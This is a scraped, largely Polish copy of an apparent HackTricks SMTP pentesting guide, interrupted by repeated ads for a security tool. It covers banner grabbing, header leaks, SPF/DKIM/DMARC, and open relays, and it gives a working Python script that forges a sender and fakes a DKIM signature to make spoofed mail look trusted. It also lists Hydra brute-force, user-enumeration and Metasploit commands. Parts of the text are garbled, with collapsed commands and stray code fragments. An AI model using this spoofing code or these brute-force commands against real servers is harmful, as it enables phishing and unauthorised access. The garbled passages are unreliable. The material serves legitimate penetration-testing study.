Get a hacker's perspective on your web apps, network, and cloud
Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
Podstawowe informacje
Protokół prostej wymiany poczty (SMTP) to protokół wykorzystywany w ramach zestawu TCP/IP do wysyłania i odbierania e-maili. Z powodu swoich ograniczeń w kolejkowaniu wiadomości po stronie odbiorcy, SMTP często stosuje się w połączeniu z POP3 lub IMAP. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości na serwerze pocztowym i okresowe ich pobieranie.
W praktyce powszechnie stosuje się, że programy pocztowe wykorzystują SMTP do wysyłania e-maili, podczas gdy korzystają z POP3 lub IMAP do ich odbierania. W systemach opartych na Unix, sendmail wyróżnia się jako najczęściej używany serwer SMTP do celów e-mailowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, Microsoft Exchange zapewnia serwer SMTP i oferuje możliwość dodania wsparcia dla POP3.
Domyślny port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
EMAIL Headers
Jeśli masz możliwość sprawić, aby ofiara wysłała ci e-mail (na przykład za pomocą formularza kontaktowego na stronie), zrób to, ponieważ możesz dowiedzieć się o wewnętrznej topologii ofiary, oglądając nagłówki wiadomości.
Możesz również uzyskać e-mail z serwera SMTP, próbując wysłać na ten serwer e-mail na nieistniejący adres (ponieważ serwer wyśle do atakującego wiadomość NDN). Ale upewnij się, że wysyłasz e-mail z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN.
Powinieneś również spróbować wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje w nagłówkach, takie jak: X-Virus-Scanned: by av.domain.com
Powinieneś wysłać plik testowy EICAR.
Wykrycie AV może pozwolić ci na wykorzystanie znanych luk w zabezpieczeniach.
Basic actions
Banner Grabbing/Basic connection
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Or automate this with nmap plugin smtp-ntlm-info.nse
Internal server name - Information disclosure
Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy polecenie "MAIL FROM" jest wydawane bez pełnego adresu, ujawniając swoją wewnętrzną nazwę:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Sprawdź, czy możesz przechwycić jakieś hasło z pakietów do portu 25
Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes. Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
Raporty DSN
Raporty powiadomień o statusie dostawy: Jeśli wyślesz email do organizacji na nieprawidłowy adres, organizacja powiadomi, że adres był nieprawidłowy, wysyłając wiadomość z powrotem do Ciebie. Nagłówki zwróconego emaila będą zawierać możliwe wrażliwe informacje (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## SMTP Smuggling
Luka SMTP Smuggling pozwala na ominięcie wszystkich zabezpieczeń SMTP (sprawdź następny rozdział, aby uzyskać więcej informacji na temat zabezpieczeń). Aby uzyskać więcej informacji na temat SMTP Smuggling, sprawdź:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Środki zaradcze przeciwko fałszowaniu wiadomości e-mail
Organizacje są chronione przed wysyłaniem nieautoryzowanych e-maili w ich imieniu poprzez stosowanie **SPF**, **DKIM** i **DMARC** z powodu łatwości fałszowania wiadomości SMTP.
**Pełny przewodnik po tych środkach zaradczych** jest dostępny pod adresem [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [został "wycofany" w 2014 roku](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Oznacza to, że zamiast tworzyć **rekord TXT** w `_spf.domain.com`, tworzysz go w `domain.com`, używając **tej samej składni**.\
Ponadto, aby ponownie wykorzystać wcześniejsze rekordy spf, dość powszechne jest znalezienie czegoś takiego jak `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) to mechanizm, który umożliwia agentom transferu poczty (MTA) weryfikację, czy host wysyłający e-mail jest autoryzowany, poprzez zapytanie o listę autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Lista ta, która określa adresy IP/zakresy, domeny i inne podmioty **autoryzowane do wysyłania e-maili w imieniu nazwy domeny**, zawiera różne "**Mechanizmy**" w rekordzie SPF.
#### Mechanizmy
Z [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| Mechanizm | Opis |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Zawsze pasuje; używane do domyślnego wyniku, takiego jak `-all` dla wszystkich IP, które nie pasują do wcześniejszych mechanizmów. |
| A | Jeśli nazwa domeny ma rekord adresu (A lub AAAA), który można rozwiązać do adresu nadawcy, będzie pasować. |
| IP4 | Jeśli nadawca znajduje się w danym zakresie adresów IPv4, pasuje. |
| IP6 | Jeśli nadawca znajduje się w danym zakresie adresów IPv6, pasuje. |
| MX | Jeśli nazwa domeny ma rekord MX, który rozwiązuje się do adresu nadawcy, będzie pasować (tj. poczta pochodzi z jednego z przychodzących serwerów pocztowych domeny). |
| PTR | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny rozwiązuje się do adresu klienta (potwierdzony odwrotny DNS), pasuje. Ten mechanizm jest odradzany i powinien być unikany, jeśli to możliwe. |
| EXISTS | Jeśli podana nazwa domeny rozwiązuje się do jakiegokolwiek adresu, pasuje (niezależnie od adresu, do którego się rozwiązuje). Rzadko jest używane. Wraz z językiem makr SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL. |
| INCLUDE | Odnosi się do polityki innej domeny. Jeśli polityka tej domeny przechodzi, ten mechanizm przechodzi. Jednak jeśli dołączona polityka nie przechodzi, przetwarzanie trwa. Aby w pełni delegować do polityki innej domeny, należy użyć rozszerzenia przekierowania. |
| REDIRECT | <p>Przekierowanie to wskaźnik do innej nazwy domeny, która hostuje politykę SPF, pozwala na współdzielenie tej samej polityki SPF przez wiele domen. Jest to przydatne, gdy pracuje się z dużą ilością domen, które dzielą tę samą infrastrukturę e-mailową.</p><p>Polityka SPF domeny wskazanej w mechanizmie przekierowania będzie używana.</p> |
Możliwe jest również zidentyfikowanie **Kwalifikatorów**, które wskazują **co należy zrobić, jeśli mechanizm pasuje**. Domyślnie używany jest **kwalifikator "+"** (więc jeśli jakikolwiek mechanizm pasuje, oznacza to, że jest dozwolony).\
Zazwyczaj zauważysz **na końcu każdej polityki SPF** coś takiego jak: **\~all** lub **-all**. Używa się tego, aby wskazać, że **jeśli nadawca nie pasuje do żadnej polityki SPF, powinieneś oznaczyć e-mail jako nieufny (\~) lub odrzucić (-) e-mail.**
#### Kwalifikatory
Każdy mechanizm w polityce może być poprzedzony jednym z czterech kwalifikatorów, aby określić zamierzony wynik:
* **`+`**: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, co sprawia, że `+mx` jest równoważne `mx`.
* **`?`**: Reprezentuje wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
* **`~`**: Oznacza SOFTFAIL, stanowiąc kompromis między NEUTRAL a FAIL. E-maile spełniające ten wynik są zazwyczaj akceptowane, ale odpowiednio oznaczone.
* **`-`**: Wskazuje FAIL, sugerując, że e-mail powinien być odrzucany.
W nadchodzącym przykładzie ilustrowana jest **polityka SPF google.com**. Zauważ włączenie polityk SPF z różnych domen w pierwszej polityce SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradycyjnie możliwe było podszywanie się pod dowolną nazwę domeny, która nie miała poprawnego/żadnego rekordu SPF. Obecnie, jeśli email pochodzi z domeny bez ważnego rekordu SPF, prawdopodobnie zostanie odrzucony/oznaczony jako nieufny automatycznie.
DKIM jest wykorzystywany do podpisywania wychodzących emaili, co umożliwia ich weryfikację przez zewnętrzne Agenty Transferu Poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten publiczny klucz znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, należy znać zarówno selektor, jak i nazwę domeny.
Na przykład, aby zażądać klucza, niezbędne są nazwa domeny i selektor. Można je znaleźć w nagłówku maila DKIM-Signature, np. d=gmail.com;s=20120113.
Polecenie do pobrania tych informacji może wyglądać następująco:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com.280INTXT"k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC zwiększa bezpieczeństwo e-maili, opierając się na protokołach SPF i DKIM. Określa zasady, które kierują serwerami pocztowymi w obsłudze e-maili z określonej domeny, w tym jak radzić sobie z niepowodzeniami uwierzytelniania i gdzie wysyłać raporty o działaniach związanych z przetwarzaniem e-maili.
Aby uzyskać rekord DMARC, musisz zapytać subdomenę _dmarc
Ztutaj.
Musisz mieć oddzielne rekordy SPF dla każdej subdomeny, z której chcesz wysyłać maile.
Poniższe informacje pierwotnie opublikowano na openspf.org, które było świetnym źródłem tego typu informacji.
Pytanie Demon: Co z subdomenami?
Jeśli otrzymam maila z pielovers.demon.co.uk, a nie ma danych SPF dla pielovers, czy powinienem cofnąć się o jeden poziom i sprawdzić SPF dla demon.co.uk? Nie. Każda subdomena w Demon to inny klient, a każdy klient może mieć swoją własną politykę. Nie miałoby sensu, aby polityka Demona dotyczyła wszystkich jego klientów domyślnie; jeśli Demon chce to zrobić, może ustawić rekordy SPF dla każdej subdomeny.
Dlatego rada dla wydawców SPF jest taka: powinieneś dodać rekord SPF dla każdej subdomeny lub nazwy hosta, która ma rekord A lub MX.
Strony z rekordami A lub MX wildcard powinny również mieć rekord SPF wildcard w formie: * IN TXT "v=spf1 -all"
To ma sens - subdomena może znajdować się w zupełnie innej lokalizacji geograficznej i mieć bardzo różną definicję SPF.
Open Relay
Kiedy wysyłane są e-maile, kluczowe jest zapewnienie, że nie zostaną oznaczone jako spam. Często osiąga się to poprzez użycie serwera relay, który jest zaufany przez odbiorcę. Jednak powszechnym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które zakresy IP są bezpieczne do zezwolenia. Ta niewiedza może prowadzić do błędów w konfiguracji serwera SMTP, co jest ryzykiem często identyfikowanym w ocenach bezpieczeństwa.
Obejściem, które niektórzy administratorzy stosują, aby uniknąć problemów z dostarczaniem e-maili, szczególnie w przypadku komunikacji z potencjalnymi lub obecnymi klientami, jest zezwolenie na połączenia z dowolnego adresu IP. Osiąga się to poprzez skonfigurowanie parametru mynetworks serwera SMTP, aby akceptował wszystkie adresy IP, jak pokazano poniżej:
mynetworks=0.0.0.0/0
Aby sprawdzić, czy serwer pocztowy jest otwartym przekaźnikiem (co oznacza, że może przekazywać e-maile z dowolnego zewnętrznego źródła), narzędzie nmap jest powszechnie używane. Zawiera ono specjalny skrypt zaprojektowany do testowania tego. Polecenie do przeprowadzenia szczegółowego skanowania na serwerze (na przykład z adresem IP 10.10.10.10) na porcie 25 za pomocą nmap to:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Jeśli napotkasz jakikolwiek błąd podczas używania biblioteki dkim w pythonie przy analizowaniu klucza, śmiało użyj tego poniższego.
UWAGA: To jest tylko brudne rozwiązanie do szybkich sprawdzeń w przypadkach, gdy z jakiegoś powodu klucz prywatny openssl nie może być analizowany przez dkim.
# To wyśle niesigned wiadomośćmail("your_email@gmail.com", "Test Subject!", "hej! To jest test", "From: administrator@victim.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Zazwyczaj, jeśli jest zainstalowany, w /etc/postfix/master.cf znajdują się skrypty do wykonania gdy na przykład nowa wiadomość e-mail zostanie odebrana przez użytkownika. Na przykład linia flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} oznacza, że /etc/postfix/filtering zostanie wykonane, jeśli nowa wiadomość e-mail zostanie odebrana przez użytkownika mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes. Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
